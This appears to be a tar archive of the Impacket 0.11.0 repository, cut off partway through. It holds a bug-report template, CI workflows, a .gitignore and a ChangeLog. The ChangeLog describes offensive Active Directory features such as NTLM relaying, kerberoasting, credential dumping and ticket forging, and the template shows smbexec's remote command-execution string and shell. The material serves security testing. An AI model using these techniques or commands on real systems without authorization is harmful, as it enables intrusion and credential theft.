pax_global_header00006660000000000000000000000064144617471230014523gustar00rootroot0000000000000052 comment=5af85c240076444d631d5f504e294daff065796b impacket-impacket_0_11_0/000077500000000000000000000000001446174712300154165ustar00rootroot00000000000000impacket-impacket_0_11_0/.github/000077500000000000000000000000001446174712300167565ustar00rootroot00000000000000impacket-impacket_0_11_0/.github/ISSUE_TEMPLATE/000077500000000000000000000000001446174712300211415ustar00rootroot00000000000000impacket-impacket_0_11_0/.github/ISSUE_TEMPLATE/bug_report.md000066400000000000000000000022031446174712300236300ustar00rootroot00000000000000--- name: Bug report about: Create a report to help us improve title: '' labels: '' assignees: '' --- ### Configuration impacket version: Python version: Target OS: ### Debug Output With Command String i.e. smbexec -debug domain/user:password@127.0.0.1 ``` smbexec -debug domain/user:password@127.0.0.1 [+] StringBinding ncacn_np:127.0.0.1[\pipe\svcctl] [+] Executing %COMSPEC% /Q /c echo cd ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat [!] Launching semi-interactive shell - Careful what you execute C:\Windows\system32>net group [+] Executing %COMSPEC% /Q /c echo net group ^> \\127.0.0.1\C$\__output 2^>^&1 > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat Traceback (most recent call last): File "/usr/lib64/python3.7/cmd.py", line 214, in onecmd func = getattr(self, 'do_' + cmd) AttributeError: 'RemoteShell' object has no attribute 'do_net' ``` ### PCAP If applicable, add a packet capture to help explain your problem. ### Additional context Space for additional context, investigative results, suspected issue. impacket-impacket_0_11_0/.github/labeler.yml000066400000000000000000000006651446174712300211160ustar00rootroot00000000000000# Rules to label Pull Requests version: 1 labels: - label: "Examples" files: - "examples/.*" - label: "Library" files: - "impacket/.*" - label: "CI/CD & Tests" files: - "tests/.*" - "tox.ini" - "Dockerfile" - ".github/.*" - label: "Setup" files: - "setup.py" - "requirements*.txt" - "MANIFEST.in" - label: "Docs" files: - "*.md" - "LICENSE" impacket-impacket_0_11_0/.github/workflows/000077500000000000000000000000001446174712300210135ustar00rootroot00000000000000impacket-impacket_0_11_0/.github/workflows/build_and_test.yml000066400000000000000000000050641446174712300245230ustar00rootroot00000000000000# GitHub Action workflow to build and run Impacket's tests # name: Build and test Impacket on: [push, pull_request] env: DOCKER_TAG: impacket:latests jobs: lint: name: Check syntax errors and warnings runs-on: ubuntu-latest if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository steps: - name: Checkout Impacket uses: actions/checkout@v3 - name: Setup Python 3.8 uses: actions/setup-python@v4 with: python-version: 3.8 - name: Install Python dependencies run: | python -m pip install flake8 - name: Check syntax errors run: | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - name: Check PEP8 warnings run: | flake8 . --count --ignore=E1,E2,E3,E501,W291,W293 --exit-zero --max-complexity=65 --max-line-length=127 --statistics test: name: Run unit tests and build wheel needs: lint runs-on: ${{ matrix.os }} if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository strategy: fail-fast: false matrix: python-version: ["3.7", "3.8", "3.9", "3.10"] experimental: [false] os: [ubuntu-latest] include: - python-version: "3.6" experimental: false os: ubuntu-20.04 - python-version: "3.11-dev" experimental: true os: ubuntu-latest continue-on-error: ${{ matrix.experimental }} steps: - name: Checkout Impacket uses: actions/checkout@v3 - name: Setup Python ${{ matrix.python-version }} uses: actions/setup-python@v4 with: python-version: ${{ matrix.python-version }} - name: Install Python dependencies run: | python -m pip install --upgrade pip wheel python -m pip install tox tox-gh-actions -r requirements.txt -r requirements-test.txt - name: Run unit tests run: | tox -- -m 'not remote' - name: Build wheel artifact run: | python setup.py bdist_wheel docker: name: Build docker image needs: lint runs-on: ubuntu-latest if: github.event_name == 'push' || github.event.pull_request.head.repo.full_name != github.repository continue-on-error: true steps: - name: Checkout Impacket uses: actions/checkout@v3 - name: Build docker image run: | docker build -t ${{ env.DOCKER_TAG }} . impacket-impacket_0_11_0/.github/workflows/labeler.yml000066400000000000000000000003671446174712300231520ustar00rootroot00000000000000# GitHub Action workflow to label Pull Requests # name: Label PRs on: - pull_request jobs: build: runs-on: ubuntu-latest steps: - uses: srvaroa/labeler@master env: GITHUB_TOKEN: "${{ secrets.GITHUB_TOKEN }}" impacket-impacket_0_11_0/.gitignore000066400000000000000000000015141446174712300174070ustar00rootroot00000000000000# Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] # C extensions *.so # Distribution / packaging .Python env/ venv/ .env/ .venv/ build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ *.egg-info/ .installed.cfg *.egg Pipfile Pipfile.lock # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *,cover # bak files *.bak # Translations *.mo *.pot # Django stuff: *.log # Sphinx documentation docs/_build/ # PyBuilder target/ # macOS .DS_Store # PyCharm .idea # Test cases configuration tests/dcetests.cfgimpacket-impacket_0_11_0/ChangeLog.md000066400000000000000000001213131446174712300175700ustar00rootroot00000000000000# ChangeLog Project owner's main page is at www.coresecurity.com. Complete list of changes can be found at: https://github.com/fortra/impacket/commits/master ## Impacket v0.11.0 (Aug 2023): 1. Library improvements * Added new Kerberos error codes (@ly4k). * Added `[MS-TSTS]` Terminal Services Terminal Server Runtime Interface Protocol implementation (@nopernik). * Changed the setting up for new SSL connections (@mpgn, @CT-H00K and @0xdeaddood). * Added a callback function to smbserver for incoming authentications (@p0dalirius). * Fix crash in winregistry (@laxa) * Fixes in IDispatch derived classes in comev implementation (@NtAlexio2) * Fix CVE-2020-17049 in ccache.py (@godylockz) * Smbserver: Added SMB2_FILE_ALLOCATION_INFO type determination (@JerAxxxxxxx) * tds: Fixed python3 incompatibility when receiving over TLS socket (@exploide) * crypto: Ensure passwords are utf-8 encoded before deriving Kerberos keys (@jojonas) * ese: Fixed python3 incompatibility when reading from db (@alexisbalbachan) * ldap queries: Escaped characters are now correctly parsed (@alexisbalbachan) * Support SASL authentication in ldap protocol (@NtAlexio2) 2. Examples improvements * [GetADUsers.py](examples/GetADUsers.py), [GetNPUsers.py](examples/GetNPUsers.py), [GetUserSPNs.py](examples/GetUserSPNs.py) and [findDelegation.py](examples/findDelegation.py): * Added dc-host option to connect to specific KDC using its FQDN or NetBIOS name (@rmaksimov and @0xdeaddood). * [GetNPUsers.py](examples/GetNPUsers.py) * Printing TGT in stdout despite -outputfile parameter (@alexisbalbachan and @Zamanry) * Fixed output hash format for AES128/256 (etype 17/18) (@erasmusc) * [GetUserSPNs.py](examples/GetUserSPNs.py): * Added LDAP paged search (@ThePirateWhoSmellsOfSunflowers and @SAERXCIT). * Added a -stealth flag to remove the SPN filter from the LDAP query (@clavoillotte). * Improved searchFilter (@ShutdownRepo) * Use LDAP paged search (@ThePirateWhoSmellsOfSunflowers) * [psexec.py](examples/psexec.py): * Added support for name customization using a custom binary file (@Dramelac). * [smbexec.py](examples/smbexec.py): * Security fixes for privilege escalation vulnerabilities (@bugch3ck). * Fixed python3 compatibility issues, added workaround TCP over NetBIOS being disabled (@ljrk0) * [secretsdump.py](examples/secretsdump.py): * Added a new option to extract only NTDS.DIT data for specific users based on an LDAP filter (@snovvcrash). * Security fixes for privilege escalation vulnerabilities (@bugch3ck). * [mssqlclient.py](examples/mssqlclient.py): * Added multiple new commands. Now supports xp_dirtree execution (@Mayfly277, @trietend and @TurtleARM). * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added ability to trigger SQLShell when running ntlmrelayx in interactive mode (@sploutchy). * Added filter option to the socks command in ntlmrelayx CLI (@shoxxdj) * Added ability to register DNS records through LDAP. * [addcomputer.py](examples/addcomputer.py), [rbcd.py](examples/rbcd.py): * Allow weak TLS ciphers for LDAP connections (@AdrianVollmer) * [Get-GPPPassword.py](examples/Get-GPPPassword.py): * Better handling of various XML files in Group Policy Preferences (@p0dalirius) * [smbclient.py](examples/smbclient.py): * Added recursive file listing (@Sq00ky) * [ticketer.py](examples/ticketer.py): * Ticket duration is now specified in hours instead of days (@Dramelac) * Added extra-pac implementation (@Dramelac) 3. New examples * [net.py](examples/net.py) Implementation of windows net.exe builtin tool (@NtAlexio2) * [changepasswd.py](examples/changepasswd.py) New example that allows password changing or reseting through multiple protocols (@Alef-Burzmali, @snovvcrash, @bransh, @api0cradle and @p0dalirius) * [DumpNTLMInfo.py](examples/DumpNTLMInfo.py) New example that dumps remote host information in ntlm authentication model, without credentials. For SMB protocols v1, v2 and v3. (@NtAlexio2) As always, thanks a lot to all these contributors that make this library better every day (up to now): @ly4k @nopernik @snovvcrash @ShutdownRepo @kiwids0220 @mpgn @CT-H00K @rmaksimov @arossert @aevy-syn @tirkarthi @p0dalirius @Dramelac @Mayfly277 @S3cur3Th1sSh1t @nobbd @AdrianVollmer @trietend @TurtleARM @ThePirateWhoSmellsOfSunflowers @SAERXCIT @clavoillotte @Marshall-Hallenbeck @sploutchy @almandin @rtpt-alexanderneumann @JerAxxxxxxx @NtAlexio2 @laxa @godylockz @exploide @jojonas @Zamanry @erasmusc @bugch3ck @ljrk0 @Sq00ky @shoxxdj @Alef-Burzmali @bransh @api0cradle @alexisbalbachan @0xdeaddood @NtAlexio2 @sanmopre ## Impacket v0.10.0 (May 2022): 1. Library improvements * Dropped support for Python 2.7. * Refactored the testing infrastructure (@martingalloar): * Added `pytest` as the testing framework to organize and mark test cases. `Tox` remain as the automation framework, and `Coverage.py` for measuring code coverage. * Custom bash scripts were replaced with test cases auto-discovery. * Local and remote test cases were marked for easy run and configuration. * DCE/RPC endpoint test cases were refactored and moved to a new layout. * An initial testing guide with the main steps to prepare a testing environment and run them. * Fixed a good amount of DCE/RPC endpoint test cases that were failing. * Added tests for `[MS-PAR]`, `[MS-RPRN]`, CCache and DPAPI. * Added a function to compute the Netlogon Authenticator at client-side in `[MS-NRPC]` (@0xdeaddood) * Added `[MS-DSSP]` protocol implementation (@simondotsh) * Added GetDriverDirectory functions to `[MS-PAR]` and `[MS-RPRN]` (@raithedavion) * Refactored the Credential Cache: * Added new parseFile function to ccache.py (@rmaksimov) * Added support for loading CCache Version 3 (@reznok) * Modified fromKRBCRED function used to load a Kirbi file (@0xdeaddood) * Fixed Ccache to Kirbi conversion (@ShutdownRepo) * Fixed default NTLM server challenge in smbserver (@rtpt-jonaslieb) 2. Examples improvements * [exchanger.py](examples/exchanger.py): * Fixed a bug when a Global Address List doesn't exist on the server (@mohemiv) * [mimikatz.py](examples/mimikatz.py) * Updated intro to not trigger the AV on windows (@mpgn) * [ntlmrelayx.py](examples/ntlmrelayx.py): * Implemented RAW Relay Server (@CCob) * Added an LDAP attack dumping information about the domain's ADCS enrollment services (@SAERXCIT) * Added multi-relay feature to the HTTP Relay Server. Now one incoming HTTP connection could be used against multiple targets (@0xdeaddood) * Added an option to disable the multi-relay feature (@zblurx and @0xdeaddood) * Added multiple HTTP listeners running at the same time (@SAERXCIT) * Support for the ADCS ESC1 and ESC6 attacks (@hugo-syn) * Added Shadow Credentials attack (@ShutdownRepo, @Tw1sm, @nodauf and @p0dalirius) * Added the ability to define a password for the LDAP attack addComputer (@ShutdownRepo) * Added rename_computer and modify add_computer in LDAP interactive shell (@capnkrunchy) * Implemented StartTLS (@ThePirateWhoSmellsOfSunflowers) * [reg.py](examples/reg.py): * Added save function to allow remote saving of registry hives (@ShutdownRepo and @scopedsecurity) * [secretsdump.py](examples/secretsdump.py): * Added an option to dump credentials using the Kerberos Key List attack (@0xdeaddood) * [smbpasswd.py](examples/smbpasswd.py): * Added an option to force credentials change via injecting new values into SAM (@snovvcrash and @alefburzmali) 3. New examples * [machine_role.py](examples/machine_role.py): This script retrieves a host's role along with its primary domain details (@simondotsh) * [keylistattack.py](examples/keylistattack.py): This example implements the Kerberos Key List attack to dump credentials abusing RODCs and Azure AD Kerberos Servers (@0xdeaddood) As always, thanks a lot to all these contributors that make this library better every day (since last version): @rmaksimov @simondotsh @CCob @raithedavion @SAERXCIT @Maltemo @dirkjanm @reznok @ShutdownRepo @scopedsecurity @Tw1sm @nodauf @p0dalirius @zblurx @hugo-syn @capnkrunchy @mohemiv @mpgn @rtpt-jonaslieb @snovvcrash @alefburzmali @ThePirateWhoSmellsOfSunflowers @jlvcm ## Impacket v0.9.24 (October 2021): 1. Library improvements * Fixed WMI objects parsing (@franferrax) * Added the RpcAddPrinterDriverEx method and related structures to `[MS-RPRN]`: Print System Remote Protocol (@cube0x0) * Initial implementation of `[MS-PAR]`: Print System Asynchronous Remote Protocol (@cube0x0) * Complying `[MS-RPCH]` with HTTP/1.1 (@mohemiv) * Added return of server time in case of Kerberos error (@ShutdownRepo and @Hackndo) 2. Examples improvements * [getST.py](examples/getST.py): * Added support for a custom additional ticket for S4U2Proxy (@ShutdownRepo) * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added Negotiate authentication support to the HTTP server (@LZD-TMoreggia) * Added anonymous session handling in the HTTP server (@0xdeaddood) * Fixed error in ldapattack.py when trying to escalate with machine account (@Rcarnus) * Added the implementation of AD CS attack (@ExAndroidDev) * Disabled the anonymous logon in the SMB server (@ly4k) * [psexec.py](examples/psexec.py): * Fixed decoding problems on multi bytes characters (@p0dalirius) * [reg.py](examples/reg.py): * Implemented ADD and DELETE functionalities (@Gifts) * [secretsdump.py](examples/secretsdump.py): * Speeding up NTDS parsing (@skelsec) * [smbclient.py](examples/smbclient.py): * Added 'mget' command which allows the download of multiple files (@deadjakk) * Handling empty search count in FindFileBothDirectoryInfo (@martingalloar) * [smbpasswd.py](examples/smbpasswd.py): * Added the ability to change a user's password providing NTLM hashes (@snovvcrash) * [smbserver.py](examples/smbserver.py): * Added NULL SMBv2 client connection handling (@0xdeaddood) * Hardened path checks and Added TID checks (@martingalloar) * Added SMB2 support to QUERY_INFO Request and Enabled SMB_COM_FLUSH method (@0xdeaddood) * Added missing constant and structure for the QUERY_FS Information Level SMB_QUERY_FS_DEVICE_INFO (@martingalloar) * [wmipersist.py](examples/wmipersist.py): * Fixed VBA script execution and improved error checking (@franferrax) 3. New examples * [rbcd.py](examples/rbcd.py): Example script for handling the msDS-AllowedToActOnBehalfOfOtherIdentity property of a target computer (@ShutdownRepo and @p0dalirius) (based on the previous work of @tothi and @NinjaStyle82) As always, thanks a lot to all these contributors that make this library better every day (since last version): @deadjakk @franferrax @cube0x0 @w0rmh013 @skelsec @mohemiv @LZD-TMoreggia @exploide @ShutdownRepo @Hackndo @snovvcrash @rmaksimov @Gifts @Rcarnus @ExAndroidDev @ly4k @p0dalirius ## Impacket v0.9.23 (June 2021): 1. Library improvements * Support connect timeout with SMBTransport (@vruello) * Speeding up DcSync (@mohemiv) * Fixed Python3 issue when serving SOCKS5 requests (@agsolino) * Moved docker container to Python 3.8 (@mgallo) * Added basic GitHub Actions workflow (@mgallo) * Fixed Path Traversal vulnerabilities in `smbserver.py` - CVE-2021-31800 (@omriinbar AppSec Researcher at CheckMarx) * Fixed POST request processing in `httprelayserver.py` (@Rcarnus) * Added cat command to `smbclient.py` (@mxrch) * Added new features to the LDAP Interactive Shell to facilitate AD exploitation (@AdamCrosser) * Python 3.9 support (@meeuw and @cclauss) 2. Examples improvements * [addcomputer.py](examples/addcomputer.py): * Enable the machine account created via SAMR (@0xdeaddood) * [getST.py](examples/getST.py): * Added exploit for CVE-2020-17049 - Kerberos Bronze Bit attack (@jakekarnes42) * Compute NTHash and AESKey for the Bronze Bit attack automatically (@snovvcrash) * [ntlmrelayx.py](examples/ntlmrelayx.py): * Fixed target parsing error (@0xdeaddood) * [wmipersist.py](examples/wmipersist.py): * Fixed `filterBinding` error (@franferrax) * Added PowerShell option for semi-interactive shells in `dcomexec.py`, `smbexec.py` and `wmiexec.py` (@snovvcrash) * Added new parameter to select `COMVERSION` in `dcomexec.py`, `wmiexec.py`, `wmipersist.py` and `wmiquery.py` (@zexusx26) 3. New examples * [Get-GPPPassword.py](examples/Get-GPPPassword.py): This example extracts and decrypts Group Policy Preferences passwords using streams for treating files instead of mounting shares. Additionally, it can parse GPP XML files offline (@ShutdownRepo and @p0dalirius) * [smbpasswd.py](examples/smbpasswd.py): This script is an alternative to `smbpasswd` tool and intended to be used for changing expired passwords remotely over SMB (MSRPC-SAMR) (@snovvcrash) As always, thanks a lot to all these contributors that make this library better every day (since last version): @mpgn @vruello @mohemiv @jagotu @jakekarnes42 @snovvcrash @zexusx26 @omriinbar @Rcarnus @nuschpl @mxrch @ShutdownRepo @p0dalirius @AdamCrosser @franferrax @meeuw and @cclauss ## Impacket v0.9.22 (November 2020): 1. Library improvements * Added implementation of RPC over HTTP v2 protocol (by @mohemiv). * Added `[MS-NSPI]`, `[MS-OXNSPI]` and `[MS-OXABREF]` protocol implementations (by @mohemiv). * Improved the multi-page results in LDAP queries (by @ThePirateWhoSmellsOfSunflowers). * NDR parser optimization (by @mohemiv). * Improved serialization of WMI method parameters (by @tshmul). * Introduce the `[MS-NLMP]` `2.2.2.10` `VERSION` structure in `NTLMAuthNegotiate` messages (by @franferrax). * Added some NETLOGON structs for `NetrServerPasswordSet2` (by @dirkjanm). * Python 3.8 support. 2. Examples improvements * [atexec.py](examples/atexec.py): * Fixed after MS patches related to RPC attacks (by @mohemiv). * [dpapi.py](examples/dpapi.py): * Added `-no-pass`, `pass-the-hash` and AES Key support for backup subcommand. * [GetNPUsers.py](examples/GetNPUsers.py): * Added ability to enumerate targets with Kerberos KRB5CC (by @rmaksimov). * [GetUserSPNs.py](examples/GetUserSPNs.py): * Added new features for kerberoasting (by @mohemiv). * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added ability to relay on new Windows versions that have SMB guest access disabled by default. * Added option to specify the NTLM Server Challenge used when receiving a connection. * Added relaying to RPC support (by @mohemiv). * Implemented WCFRelayServer (by @cnotin). * Added Zerologon DCSync Relay Client (by @dirkjanm). * Fixed issue in ldapattack.py when relaying and creating computer in CN=Computers (by @Hackndo). * [rpcdump.py](examples/rpcdump.py): * Added RPC over HTTP v2 support (by @mohemiv). * [secretsdump.py](examples/secretsdump.py): * Added ability to specifically delete a shadow based on its ID (by @phefley). * Dump plaintext machine account password when dumping the local registry secrets(by @dirkjanm). 3. New examples - [exchanger.py](examples/exchanger.py): A tool for connecting to MS Exchange via RPC over HTTP v2 (by @mohemiv). - [rpcmap.py](examples/rpcmap.py): Scan for listening DCE/RPC interfaces (by @mohemiv). As always, thanks a lot to all these contributors that make this library better every day (since last version): @mohemiv @mpgn @Romounet @ThePirateWhoSmellsOfSunflowers @rmaksimov @fuzzKitty @tshmul @spinenkoia @AaronRobson @ABCIFOGeowi40 @cclauss @cnotin @5alt @franferrax @Dliv3 @dirkjanm @Mr-Gag @vbersier @phefley @Hackndo ## Impacket v0.9.21 (March 2020): 1. Library improvements * New methods into `CCache` class to import/export kirbi (`KRB-CRED`) formatted tickets (by @Zer1t0). * Add `FSCTL_SRV_ENUMERATE_SNAPSHOTS` functionality to `SMBConnection` (by @rxwx). * Changes in NetBIOS classes in `nmb.py` (`select()` by `poll()` read from socket) (by @cnotin). * Timestamped logging added. * Interactive shell to perform LDAP operations (by @mlefebvre). * Added two DCE/RPC calls in `tsch.py` (by @mohemiv). * Single-source the version number and standardize on semantic + pre-release + local versioning (by @jsherwood0). * Added implementation for keytab files (by @kcirtapw). * Added SMB 3.1.1 support for Client SMB Connections. 2. Examples improvements * [smbclient.py](examples/smbclient.py): * List the VSS snapshots for a specified path (by @rxwx). * [GetUserSPNs.py](examples/GetUserSPNs.py): * Added delegation information associated with accounts (by @G0ldenGunSec). * [dpapi.py](examples/dpapi.py): * Added more functions to decrypt masterkeys based on SID + hashes/key. Also support supplying hashes instead of the password for decryption(by @dirkjanm). * Pass the hash support for backup key retrieval (by @imaibou). * Added feature to decrypt a user's masterkey using the MS-BKRP (by @imaibou). * [raiseChild.py](examples/raiseChild.py): * Added a new flag to specify the RID of a user to dump credentials (by @0xdeaddood). * Added flags to bypass badly made detection use cases (by @MaxNad): * [smbexec.py](examples/smbexec.py): * Possibility to rename the PSExec uploaded binary name with the `-remote-binary-name` flag. * [psexec.py](examples/psexec.py): * Possibility to use another service name with the `-service-name` flag. * [ntlmrelayx.py](examples/ntlmrelayx.py): * Added a flag to use a SID as the escalate user for delegation attacks (by @0xe7). * Support for dumping LAPS passwords (by @praetorian-adam-crosser). * Added LDAP interactive mode that allow an attacker to manually perform basic operations like creating a new user, adding a user to a group , dump the AD, etc. (by @mlefebvre). * Support for multiple relays through one SMB connection (by @0xdeaddood). * Added support for dumping gMSA passwords (by @cube0x0). * [ticketer.py](examples/ticketer.py): * Added an option to use the SPNs keys from a keytab for a silver ticket(by @kcirtapw) 3. New Examples - [addcomputer.py](examples/addcomputer.py): Allows add a computer to a domain using LDAP or SAMR (SMB) (by @jagotu) - [ticketConverter.py](examples/ticketConverter.py): This script converts kirbi files, commonly used by mimikatz, into ccache files used by Impacket, and vice versa (by @Zer1t0). - [findDelegation.py](examples/findDelegation.py): Simple script to quickly list all delegation relationships (unconstrained, constrained, resource-based constrained) in an AD environment (by @G0ldenGunSec). As always, thanks a lot to all these contributors that make this library better every day (since last version): @jagotu, @Zer1t0 ,@rxwx, @mpgn, @danhph, @awsmhacks, @slasyz, @cnotin, @exploide, @G0ldenGunSec, @dirkjanm, @0xdeaddood, @MaxNad, @imaibou, @BarakSilverfort, @0xe7, @mlefebvre, @rmaksimov, @praetorian-adam-crosser, @jsherwood0, @mohemiv, @justin-p, @cube0x0, @spinenkoia, @kcirtapw, @MrAnde7son, @fridgehead, @MarioVilas. ## Impacket v0.9.20 (September 2019): 1. Library improvements * Python 3.6 support! This is the first release supporting Python 3.x so please issue tickets whenever you find something not working as expected. Libraries and examples should be fully functional. * Test coverage [improvements](https://github.com/SecureAuthCorp/impacket/pull/540) by @infinnovation-dev * Anonymous SMB 2.x Connections are not encrypted anymore (by @cnotin) * Support for [multiple PEKs](https://github.com/SecureAuthCorp/impacket/pull/618) when decrypting Windows 2016 DIT files (by @mikeryan) 2. Examples improvements * [ntlmrelayx.py](examples/ntlmrelayx.py): * [CVE-2019-1019](https://github.com/SecureAuthCorp/impacket/pull/635): Bypass SMB singing for unpatched (by @msimakov) * Added [POC](https://github.com/SecureAuthCorp/impacket/pull/637) code for CVE-2019-1040 (by @dirkjanm) * Added NTLM relays leveraging [Webdav](https://github.com/SecureAuthCorp/impacket/pull/652) authentications (by @salu90) 3. New Examples * [kintercept.py](examples/kintercept.py): A tool for intercepting krb5 connections and for testing KDC handling S4U2Self with unkeyed checksum (by @iboukris) As always, thanks a lot to all these contributors that make this library better every day (since last version): @infinnovation-dev, @cnotin, @mikeryan, @SR4ven, @cclauss, @skorov, @msimakov, @dirkjanm, @franferrax, @iboukris, @n1ngod, @c0d3z3r0, @MrAnde7son. ## Impacket v0.9.19 (April 2019): 1. Library improvements * [[MS-EVEN]](impacket/dcerpc/v5/even.py) Interface implementation (Initial - by @MrAnde7son ) 2. Examples improvements * [ntlmrelayx.py](examples/ntlmrelayx.py): * Socks local admin check (by @imaibou) * Add Resource Based Delegation features (by @dirkjanm) * [smbclient.py](examples/smbclient.py): * Added ability to create/remove mount points to exploit James Forshaw's [Abusing Mount Points over the SMB Protocol](https://tyranidslair.blogspot.com/2018/12/abusing-mount-points-over-smb-protocol.html) technique (by @Qwokka) * [GetST.py](examples/getST.py): * Added resource-based constrained delegation support to S4U (@eladshamir) * [GetNPUsers.py](examples/GetNPUsers.py): * Added hashcat/john format and users file input (by @Zer1t0) As always, thanks a lot to all these contributors that make this library better every day (since last version): @dirkjanm, @MrAnde7son, @ibo, @franferrax, @Qwokka, @CaledoniaProject , @eladshamir, @Zer1t0, @martingalloar, @muizzk, @Petraea, @SR4ven, @Fist0urs, @Zer1t0. ## Impacket v0.9.18 (December 2018): 1. Library improvements * Replace unmaintained PyCrypto for pycryptodome (@dirkjanm) * Using cryptographically secure pseudo-random generators * Kerberos "no pre-auth and RC4" handling in GetKerberosTGT (by @qlemaire) * Test cases adjustments, travis and flake support (@cclauss) * Python3 test cases fixes (@eldipa) * Adding DPAPI / Vaults related structures and functions to decrypt secrets * [[MS-RPRN]](impacket/dcerpc/v5/rprn.py) Interface implementation (Initial) 2. Examples improvements * [ntlmrelayx.py](examples/ntlmrelayx.py): * Optimize ACL enumeration and improve error handling in ntlmrelayx LDAP attack (by @dirkjanm) * [secretsdump.py](examples/secretsdump.py): * Added dumping of machine account Kerberos keys (@dirkjanm). `DPAPI_SYSTEM` LSA Secret is now parsed and key contents are shown. * [GetUserSPNs.py](examples/GetUserSPNs.py): * Bugfixes and cross-domain support (@dirkjanm) 3. New Examples * [dpapi.py](examples/dpapi.py): Allows decrypting vaults, credentials and masterkeys protected by DPAPI. Domain backup key support added by @MrAnde7son As always, thanks a lot to all these contributors that make this library better every day (since last version): @dirkjanm, @MrAnde7son, @franferrax, @MrRobot86, @qlemaire, @cauan, @eldipa. ## Impacket v0.9.17 (May 2018): 1. Library improvements * New `[MS-PAC]` [Implementation](impacket/krb5/pac.py). * [LDAP engine](impacket/ldap): Added extensibleMatch string filter parsing, simple paging support and handling of unsolicited notification (by @kacpern) * [ImpactDecoder](impacket/ImpactDecoder.py): Add `EAPOL`, `BOOTP` and `DHCP` packet decoders (by Michael Niewoehner) * [Kerberos engine](impacket/krb5): `DES-CBC-MD5` support to kerberos added (by @skelsec) * [SMB3 engine](https://github.com/SecureAuthCorp/impacket/commit/f62fc5c3946430374f92404e892f8c48943d411c): If target server supports SMB >= 3, encrypt packets by default. * Initial `[MS-DHCPM]` and `[MS-EVEN6]` Interface implementation by @MrAnde7son * Major improvements to the [NetBIOS layer](https://github.com/SecureAuthCorp/impacket/commit/0808e45b796741aea4162bd756e3f54522e8045b). More use of [structure.py](impacket/structure.py) in there. * [MQTT](https://github.com/SecureAuthCorp/impacket/commit/8cef002928ca52be4e9476a87a54d836b5efa81e) Protocol Implementation and example. * Tox/Coverage Support added, test cases moved to its own directory. Major overhaul. * Many fixes and improvements in Kerberos, SMB and DCERPC (too much to name in a few lines). 2. Examples improvements * [GetUserSPNs.py](examples/GetUserSPNs.py): * `-request-user` parameter added. Requests STs for the SPN associated to the user specified. Added support for AES Kerberoast tickets (by @elitest). * [services.py](examples/services.py): * Added port 139 support and related options (by @real-datagram). * [samrdump.py](examples/samrdump.py): * `-csv` switch to output format in CSV added. * [ntlmrelayx.py](examples/ntlmrelayx.py): * Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm. * [secretsdump.py](examples/secretsdump.py): * AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA secrets dump (by @Ramzeth). * [mssqlclient.py](examples/mssqlclient.py): * Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks). * [lsalookupsid.py](examples/lsalookupsid.py): * Added no-pass and domain-users options (by @ropnop). 3. New Examples * [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or based on a template (legally requested from the KDC) allowing you to customize some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh. * [GetADUsers.py](examples/GetADUsers.py): Gathers data about the domain's users and their corresponding email addresses. It will also include some extra information about last logon and last password set attributes. * [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate) structure of the specified target user just having a normal authenticated user credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User Kerberos Authentication. * [getArch.py](examples/getArch.py): Will connect against a target (or list of targets) machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature. * [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC server developed by @gentilkiwi. * [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and executing the shared library specified by the user through the `-so` parameter. * [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`, but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and `ShellBrowserWindow` objects. (contributions by @byt3bl33d3r). * [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will request a TGT and save it as ccache. * [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this script will request a Service Ticket and save it as ccache. If the account has constrained delegation (with protocol transition) privileges you will be able to use the `-impersonate` switch to request the ticket on behalf other user. As always, thanks a lot to all these contributors that make this library better every day (since last version): @dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt. ## Impacket v0.9.15 (June 2016): 1. Library improvements * `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle) * Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss) * Packet fragmentation for DCE RPC layer mayor overhaul. * Improved pass-the-key attacks scenarios (by @skelsec) * Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to build the search filter yourself) * IPv6 improvements for DCERPC/LDAP and Kerberos 2. Examples improvements * Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is. It assumes the DC and KDC resides in the same server. * `secretsdump.py`: * Adding support 